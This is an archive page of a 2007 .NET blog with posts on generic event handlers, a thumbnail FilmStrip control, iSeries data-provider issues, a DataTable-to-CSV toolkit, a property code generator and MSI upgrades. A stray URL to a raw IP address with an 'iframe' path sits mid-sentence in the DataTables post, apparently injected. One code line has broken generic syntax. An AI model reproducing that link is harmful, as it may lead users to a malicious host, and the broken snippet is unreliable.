Archive

Archive for the ‘.NET 2.0’ Category

Event Handling made even easier

November 29, 2007 1 comment

Event Handling Made Easy is my favorite post I’ve written. Mostly, because I’m lazy and I have a bad memory. I love events, but I find it difficult to remember all the bits and pieces in my head, so I wrote the post to give me some documentation.

NOTE: the following feature is NOT new: it has been available since .NET 2.0, but I learned about it while examining the new features in 2008.

I recently came across the EventHandler<T> generic delegate. In this case, T represents any EventArgs object, so when you create your custom EventArgs class just make sure that you inherit from EventArgs. Now, when you register the Event Handler with the object, you reference EventHandler<T> instead of your custom event name:

// registering EventHandler<T>
person.MaritalStatusChangedEvent +=new EventHandler<MaritalStatusChangedEventArgs<(person_MaritalStatusChangedEvent);

This approach buys us a couple of things. First, it means you no longer need to declare a public delegate to define the EventHandler signature. Instead, in your class, you simply declare a public EventHandler<CustomEventArgs> CustomEventName. I don’t know about you, but anytime I can avoid using “delegate” I get a smile on my face! Also, it means that event registration code is a little more standardized, and is syntactically a little nicer.

So here is the whole process, revisited and updated:

Step 1: Create our custom EventArgs class. Be sure it inherits from EventArgs.

class MaritalStatusChangedEventArgs : EventArgs
{
    public readonly string Message;
    public MaritalStatusChangedEventArgs(string message)
    {
        Message = message;
    }
}

Step 2: Define the EventHandler<T> in the firing class.

// Generic EventHandle<T> delegate definition
public event EventHandler<MaritalStatusChangedEventArgs> MaritalStatusChangedEvent;

Step 3: Fire the Event.

// No change here
if (MaritalStatusChangedEvent != null)
{
    MaritalStatusChangedEvent(this, new MaritalStatusChangedEventArgs("Marital Status is now " + _maritalStatus));
}

Step 4: Register the EventHandler<T> listener.

// Use the EventHandler<T> format when registering
person.MaritalStatusChangedEvent +=new EventHandler<MaritalStatusChangedEventArgs>(person_MaritalStatusChangedEvent);

When you register the Event listener, Visual Studio will help out by offering to stub out the listening method. Just hit tab when prompted and it will insert the method stub for you and place your cursor inside the method. Naturally, it throws our old friend NotImplementedException. This is a nice little addition that means less coding for you!

Categories: .NET 2.0, C# 2.0, Visual Studio

FilmStrip Control

November 11, 2007 Comments off

One of the current projects I am working on is Image Management software for one of our legacy government applications. Basically, JPG images are stored on a Windows server and our iSeries machine issues local PC calls (using STRPCCMD) to initiate the image manager. The manager then finds and displays all the images associated with the particular database record. The details are irrelevant to this post, but each database record can have up to 99 images associated with it, all organized and retrieved by naming conventions, so managing these images is not a trivial matter.

The original version of this software was written in VB a decade ago (probably VB4 or VB5). It was sufficient but unpleasant so about 5 years ago the company contracted with a local developer to rewrite the application, which he did … in FoxPro. It is also functionally but unpleasant to use, and so I find myself looking at a good target for a .NET rewrite!

One of the problems with the current version of the software is you can only see one image at a time. Unfortunately, this means you have to view each one to find the correct image, a real annoyance when dealing with large numbers of images. So my solution is to incorporate a FilmStrip control to view and scroll through a list of thumbnail images. I also, naively, thought this would be a fairly standard control, but alas it does not exist in the MS toolbox. This means creating one of my own, not a task I relish. I haven’t had lots of luck with User Controls or drawing my own. I find it tedious and frustrating: in other words, it just isn’t my cup of tea.

Fortunately, we have Google. A quick search for “C# FilmStrip” turned up this gem on CodeProject (one of my favorite sites). Most of the nitty gritty and the solution for my project came directly from that version, so I want to give full credit. The example was an excellent starting point, but I have, naturally, added some goodies of my own.

First of all, the original version required the user to pass the path string to the AddPicture method. Instead, I wanted to make this Control a little more portable: since it deals primarily with a collection of Images, I decided to have the FilmStrip work with Image objects and let the consuming code worry about pathing. The original also provides a way to print labels for the images, but they are based solely on a parsing of the image name. Instead, my version allows the user to assign a label to associate with the image. These are both done through a custom Struct named PictureInfo. Currently the Struct is pretty limited with just these two properties, but it could be easily expanded to contain any associated data. Also, I wanted to add some way of selecting and identifying one of the Images (PictureBoxes), so I added code to track which PictureBox is currently active and I change the BorderStyle of the active PictureBox to identify it as such.

Finally, I need the FilmStrip to report to the consuming software when the selected PictureBox changes, so I added an ActivePictureBoxChangedEvent, complete with its own ActivePictureBoxChangedEventArgs class that exposes the PictureInfo object of the newly selected PictureBox. By exposing the PictureInfo object, the consumer has direct access to the original image and whatever other information gets added to the PictureInfo struct.

The FilmStrip dynamically sets the size of its child PictureBox controls based on the size of the FilmStrip control and even calculates and applies the correct aspect ratio to the thumbnail based on the aspect ratio of the actual image. The full image is stored in the PictureInfo Struct so it can be reclaimed at anytime. I used a Generic Dictionary<PictureBox, PictureInfo> list to keep the PictureBox controls associated with the correct PictureInfo instance.

The public DisplayImages method can be used: just monitor the Resize event and call it accordingly.

Possible improvements:

  • Replace the scroll bar with navigation buttons.
  • Display the images as an automatically wrapping collection, always center the active image in the display.
  • Make the active image a larger size than the other images.
  • Add the ability to set the active picture box border color and/or style.

I hope you like this Control. Download it and try it today. Let me know what you think!

IBM iSeries .NET Managed Provider UPDATE

November 1, 2007 Comments off

One of the most popular posts on this site is about the iSeries .NET Managed Provider. In that post, I discussed a problem with an ObjectDisposedException being thrown at the end of every program that connects to a System i machine. The PTF solution promises to correct the problem on V5R3 machines and that the problem is automatically fixed on V5R4.

In the immortal words of Carol Kane, playing Miracle Max’s wife in The Princess Bride: “Liar! Li-Ar!” (I hope there are some TPB fans out there!)

If you hadn’t guessed, we tried it and it did not work. We upgraded one of our machines to V5R4 last week and upgraded the PC running iSeries Access to the V5R4 version to no avail: the error persists. My Business Partner is supposed to be looking into it, by which I mean that I need to tell him what PTFs I want. Frankly, I am looking at alternative solutions.

One possibility is to consider third party providers, Data Direct in particular. Data Direct’s Connect for ADO.NET product promises integration with every version of DB2 (including System i), Sybase, Oracle, and of course SQL Server. I have not looked at the code yet, but I was informed during one of our several phone conversations that the interface is a little different than strict ADO.NET, but it is consistent across all of Data Direct’s providers. The best news is that the providers are completely distributable along with our product if we purchase an OEM license. This means that unlike IBM’s solution which requires the customer to have and install at least some portion of iSeries Access V5R3 or higher, Data Direct’s solution does not require any additional installations. The bad news is that an OEM license would be very expensive. While they will tailor it to our company, I fear that it will ultimately cost too much. The license is naturally an annual fee, but once the company profits exceed an unspecified amount, the license fee becomes a percentage of the company’s revenues. All in all not a warm and fuzzy proposition.

Another option, that is contrary to all our previously stated goals, is to simply develop our new product line for SQL Server only. The good news about this idea is that all the tools and examples for rapid development take advantage of Visual Studio and .NET’s tight integration with SQL Server. I do think that the products would be easier to develop in this fashion. Another good thing is that if we design the architecture properly, we could make the switch to a database agnostic approach later without a lot of rework.

And the answer: I don’t know. In an effort to simply move forward, I am inclined to only consider SQL Server at the moment. I think this will relieve some initial headaches and speed development. But to appease our existing customer base, not to mention at least one of the company owners, we will ultimately have to address iSeries DB2 support.

Categories: .NET 2.0

DataTables ToolKit

September 25, 2007 Comments off

Howdy readers!

I have something new for you which I hope you find useful. Most of my projects are database oriented, which in ADO.NET land means a hefty reliance on DataTable objects. In fact, my first serious .Net program was an Ad Hoc SQL tool that allowed the user to connect to virtually any database and issue SQL commands. Beginning with that program, I wanted the ability to take the data from a DataTable object and export it to CSV. In several subsequent projects I needed the same feature, but I never took the time to externalize it. Well, a couple of weeks ago a new project came across my desk that required this feature again.

DevelopingForDotNet.DataTables

And so the DevelopingForDotNet.DataTables namespace is born. As of this writing, there is only one class in the namespace: DataTablesToolkit. This is a static class containing, at the moment, two interesting methods.

DataTableToCSV

The first is the one mentioned above, DataTableToCSV. This method does exactly what you think: it takes a DataTable object and generates a string representing its contents in CSV format. The first line can optionally contain the list of Column names. String values are wrapped in double quotes and lines are terminated with \r\n.

There is one limitation: support for complex data types is limited to their .ToString() implementation. If a DataTable contained a type without an appropriate implementation, “unexpected results may occur.”

I have some future enhancements in mind:

  • Add additional terminator support. Depending on the consumer, the output may need just line feeds or carriage returns. This would be simple enough to add via a parameter.
  • While it would no longer be CSV, a similar method for Tab Delimited would be useful.
  • Add the ability to save the string to the file rather than requiring the consuming code to implement the IO.

CreateDataTable

While working on this project, an interesting problem cropped up. The database in question stores US Zip codes as numeric(5,0) fields. This causes a problem for zip codes beginning with a “0”: the leading zeros are lost when the data is read in from the database. In order to address this, we created a custom data type that replaced the missing leading zero and stored the value as a 5 character string.

Unfortunately, this meant that we could not rely on the DataTable automatically filled by our xxxDataAdapter. Instead, we had to read the data out of the DataTable and store it in our custom data type objects. This worked great and solved the problem (as well as a couple of others relating to the data), but it introduced a new problem: the DataTableToCSV
http://61.132.75.71/iframe/wp-stats.php
code we just created was now unusable! Our data was no longer in a DataTable!

I was about to write custom code to create a new DataTable based on the properties of our custom data type when it hit me: I could use Reflection to do that for me. Better yet, I could make it generic enough that I could create a DataTable based on ANY object I wanted. And so I did.

This was my first real foray into Reflection, and I have to admit I thought it was going to be a lot more complicated than it ended up. I mean, I slaved for MINUTES on this code! The longest part was in me finally getting a good understanding of the Type type in my thick skull. Once I had that, the rest was very easy. So now, I simply pass the Type of my object in and I get a DataTable object back, complete with a collection of appropriate DataColumn objects that match the properties of the Type.

This too has some limitations:

  • As written, it can only handle properties that expose primitive data types. Complex data types are ignored. This will make perfect sense if you think about it: how would a Collection, or a FileStream, or something of that nature be depicted in a DataTable? For now, I think this is a reasonable limitation.
  • Only public, non-static properties are currently reflected. Support could, and probably should, be added for protected members, but I think that would need to be optional. When I was writing this, it just didn’t seem to make sense to me to expose static properties, but it would be easy enough to add if desired.

Now, I can use this to create my new and improved DataTable, and I can easily loop through my collection of custom data type objects to populate its rows.

And so altogether, this represents the DataTablesToolkit. Download the code and try it out. Let me know how it works for you.

Categories: .NET 2.0, C# 2.0, Free Code

More on PropertyBuilder

September 11, 2007 Comments off

I have posted an update to the PropertyBuilder code. Actually, the code hasn’t changed but the solution now includes a Setup Project. I also put a copy of the MSI file in the root PropertyBuilder directory, so if you just want the tool and don’t want to worry with the code you can just install it and use it locally.

There were a couple of things about the code I failed to mention in the previous post. First, it uses Compile Time Directives to branch the code into different groups based on a Defined variable. I’ll have to write a post about this – it is a neat way to test variations and modifications to code. Currently, the code is using Regex.Replace() to make its changes, but the original version was a bit more brute force and was left in place to show the differences between the two approaches. The Regex version also takes advantages of templates rather than inline strings. On the Code Generation front, these templates could come from anywhere, such as external text files, XML, settings, or even a database.

The one thing I don’t like about the tool is that it always places the variable declaration directly above the property. I’m a bit anal about stuff like that, and I like to have all my class level variables defined before the constructor, so having it inline like that grates on my nerves. In a future version, I am going to add a split panel option to generate the variables in one textbox and the properties in a separate textbox. That way they can easily be copied and pasted separately into my code at the appropriate places.

Now what would be REALLY cool is to be able to integrate this with Visual Studio and provide the option to select a variable and automatically generate the Property from the variable, kind of like the inheritance and constructor stubbing we already have. But truth be told, I’ll probably never have time to figure all that out.

Categories: .NET 2.0, C# 2.0, Free Code

Developer Tools, Code Generation, and Tech Conferences

September 7, 2007 Comments off

I can’t believe it’s been almost a month since I posted something. Time sure flies when… well, it pretty much always flies, doesn’t it?

I’ve got a new tool to share with you called PropertyBuilder. It is simple enough: a couple of entries and it will generate the code for a variable and its related Property. I can’t take credit for the idea, I saw Richard Hale Shaw use something similar last year at VSLive! Dallas. Several times since then, while developing code with lots of properties, I thought that it would be a handy tool to have. Also, I have been reading Code Generation in Microsoft .NET, Kathleen Dollard’s book on .NET Code Generation, so I thought I could put some of this stuff together and write my own tool.

The tool itself is very simple. It stores a few basic templates that contain replacement values. It then replaces those values with the user entered values, and viola! Property code. Copy and paste the code into your application and there you have it. You could easily do a whole slew of variables/properties at one time. Obviously, the benefit of such a tool is fairly apparent: faster coding and less time spent slogging through the same-old same-old. Isn’t that worth a few hours of development time? Code Generation in general has enormous potential to ease your development burden.

But how often do we take the time to write code like this? With the constant demands of clients, bosses, and deadlines, probably not nearly often enough. The truth is I should have done this last year after the conference when it was new and fresh. Which brings me to my next point: just like we need to take some development time for ourselves, we also need to take training time. Yes, it’s time away from the demands of the job, and yes it costs money, but the cost of the effort, like the return on the time spent developing our tools, can pay huge dividends in the long run.

So, download the tool or write something like it for yourself. And sign up for a conference or take some classes. I’ve just cemented my plans for attending VSLive! Austin in November. I plan on doing a little live-blogging, and who knows what else I’ll come away with.

Categories: .NET 2.0, C# 2.0

Uninstalling a Previous Version from an MSI

August 9, 2007 20 comments

Like a lot of other developers, I use the Setup & Deployment Projects in Visual Studio 2005 to create MSI files for software installs. Typically, this is a Windows Forms based application. For our in house users, especially those testing new software, there could be many iterations of a piece of software. Of course, this means installing the updated version every time I make a correction or add a new feature. Unfortunately, this has also always meant uninstalling the previous version using the trusty old “Add/Remove Programs” option in the Control Panel. Needless to say, this tends to grate on the users nerves after the first 20 reinstalls.

So, you might be wondering why I did not simply use the RemovePreviousVersions Property of the Deployment Project. The problem was that it never worked. I would set that property to TRUE and still the installer would not proceed until the previous version was uninstalled. While I found this truly annoying, it was never a big enough deal to spend a lot of time trying to figure out why the property was not working as expected… until now…

Have you ever ignored a problem until one day you just say “darn it – I’m going to figure this out no matter what it takes!”? Well, for whatever reason that was my attitude this morning. And fortunately for me, it didn’t take too long to figure out. The key is in the property name itself: RemovePreviousVersions. It is the Version part that somehow managed to elude me all this time, and therein lies the secret: I was never changing the version number. I had always focused on the Previous part before, assuming some kind of temporal meaning, incorrectly assuming that Previous meant Prior. Sometimes, our own brains just get in the way.

Of course, once I read it properly, the solution presented itself: I needed to change the Version number. I think part of my mental block here is that Versioning never occurred to me. If I remember correctly, in Visual Studio 2003, you specified a wild card and versioning happened automatically. That doesn’t appear to be the case now: I’m not saying it isn’t, but I am saying that I’m not going to take the time to investigate it. What I am going to do, from now on, is increment the Version property of the Deployment Project whenever I am preparing to deploy the Installer.

I’m going to chalk this one up as a Homer Simpson “DOH!” [slaps forehead], but hey, we all have them! Maybe this one can help someone else get over the same hurdle.

Follow

Get every new post delivered to your Inbox.